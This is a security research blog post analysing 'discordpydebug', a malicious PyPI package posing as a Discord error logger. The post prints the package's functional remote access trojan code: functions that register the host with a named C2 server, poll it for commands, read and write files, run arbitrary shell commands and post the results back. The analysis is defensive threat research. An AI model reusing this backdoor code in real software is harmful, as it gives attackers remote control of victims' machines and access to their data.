
Security News
/Research
npm Phishing Email Targets Developers with Typosquatted Domain
A phishing attack targeted developers using a typosquatted npm domain (npnjs.com) to steal credentials via fake login pages - watch out for similar scams.
Socket Research Team
May 6, 2025
On March 21, 2022, a Python package ‘discordpydebug’ was uploaded to the Python Package Index (PyPI) under the name "Discord py error logger." At first glance, it appeared to be a simple utility aimed at developers working on Discord bots using the Discord.py library. However, the package concealed a fully functional remote access trojan (RAT). Over time, the package reached over 11,000 downloads, placing thousands of developer systems at risk.
The package targeted developers who build or maintain Discord bots, typically indie developers, automation engineers, or small teams who might install such tools without extensive scrutiny. Since PyPI doesn’t enforce deep security audits of uploaded packages, attackers often take advantage of this by using misleading descriptions, legitimate-sounding names, or even copying code from popular projects to appear trustworthy. In this case, the goal was to lure unsuspecting developers into installing a backdoor disguised as a debugging aid.
Discord’s developer ecosystem is both massive and tightly knit. With over 200 million monthly active users, more than 25% of whom interact with third-party apps, Discord has rapidly evolved into a platform where developers not only build but also live test, share, and iterate on new ideas directly with their users. Public and private servers dedicated to development topics foster an informal, highly social culture where tips, tools, and code snippets are shared freely and often used with little scrutiny. It’s within these trusted peer-to-peer spaces that threat actors can exploit social engineering tactics, positioning themselves as helpful community members and promoting tools like discordpydebug
under the guise of debugging utilities.
The fact that this package was downloaded over 11,000 times, despite having no README or documentation, highlights how quickly trust can be weaponized in these environments. Whether spread via casual recommendation, targeted DMs, or Discord server threads, such packages can gain traction before ever being formally vetted.
Once installed, the package establishes communication with an attacker-controlled command-and-control (C2) server hosted at backstabprotection.jamesx123.repl.co
. The run()
function is the first indication of malicious activity. It sends a POST request to the server, passing along a "name" value—likely used to identify the infected host. This connection is established silently and without any user consent, effectively registering the system with the attacker's infrastructure.
def run(value):
link = "https://backstabprotection.jamesx123.repl.co/"
try:
data = {'name': value}
req.post(link, data)
except:
pass
return value
The backdoor includes utility functions to read from and write to files on the host machine. These functions use standard JSON operations, allowing the attacker to extract or modify local files if instructed to do so.
def read(name):
with open(name, 'r') as openfile:
return json.load(openfile)
def write(name, data):
with open(name, "w") as outfile:
json.dump(data, outfile)
When triggered by specific keywords from the C2 server such as readfile
or writefile
, the backdoor reads from or writes to the specified path. This grants the attacker visibility into configuration files, tokens, credentials, or other sensitive data on the system.
The core logic resides in a continuous loop defined in the debug()
function. This function runs indefinitely, polling the attacker's server every second for new instructions. Depending on the command received, the malware can read or write files, or execute arbitrary shell commands.
def debug():
link = "https://backstabprotection.jamesx123.repl.co/"
while True:
try:
output = []
resp = req.get(link).text
if "readfile" in resp:
x = open(resp.split(" ")[1], "r")
contents = x.read()
output.append(contents.encode("utf-8"))
elif "writefile" in resp:
x = open(resp.split(" ")[1], "w")
x.write(resp.split(" ")[2])
output.append(b"done")
else:
output = runcommand(resp)
for i in output:
req.post(link + "output", {'output': i.decode('utf-8')})
except:
pass
time.sleep(1)
The logic is straightforward but dangerous. It handles three primary tasks: file reads, file writes, and shell command execution. The loop encodes the output and sends it back to the attacker through another POST request, effectively turning the system into a controlled bot.
The runcommand()
function executes shell commands as received from the C2:
def runcommand(value):
output = subprocess.run(value, shell=True, capture_output=True)
return [output.stdout, output.stderr]
This grants the attacker full control of the system, with capabilities limited only by the privileges of the Python process.
This package transforms any machine it is installed on into a remote-controlled node capable of executing attacker-supplied instructions. This could result in:
While the code does not include mechanisms for persistence or privilege escalation, its simplicity makes it particularly effective. The use of outbound HTTP polling rather than inbound connections allows it to bypass most firewalls and security monitoring tools, especially in less tightly controlled development environments.
backstabprotection.jamesx123.repl.co
hxxps://backstabprotection[.]jamesx123[.]repl[.]co/
hxxps://backstabprotection[.]jamesx123[.]repl[.]co/output
subprocess
.Unfortunately, this kind of attack isn’t rare. It’s surprisingly easy for bad actors to sneak malware into open source ecosystems using harmless-looking packages—especially when there's no code review or vetting required. That’s why it’s important to have tools that can catch this stuff before it ends up in your codebase.
Socket’s free GitHub app can flag suspicious packages as soon as they show up in a pull request, so you’re not flying blind during reviews. The Socket CLI adds another layer of protection during installs and builds by scanning for unusual behavior in your dependencies. And if you’re poking around on package registries or GitHub, the Socket browser extension can give you a heads-up before you click on something shady.
We’ve reported this particular package to the PyPI team, and it’s since been taken down. But the broader issue remains: securing the software supply chain requires real-time visibility and better tooling at every step.
Dhanesh Dodia, Sambarathi Sai, and Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
/Research
A phishing attack targeted developers using a typosquatted npm domain (npnjs.com) to steal credentials via fake login pages - watch out for similar scams.
Research
/Security News
Undocumented protestware found in 28 npm packages disrupts UI for Russian-language users visiting Russian and Belarusian domains.
Research
/Security News
North Korean threat actors deploy 67 malicious npm packages using the newly discovered XORIndex malware loader.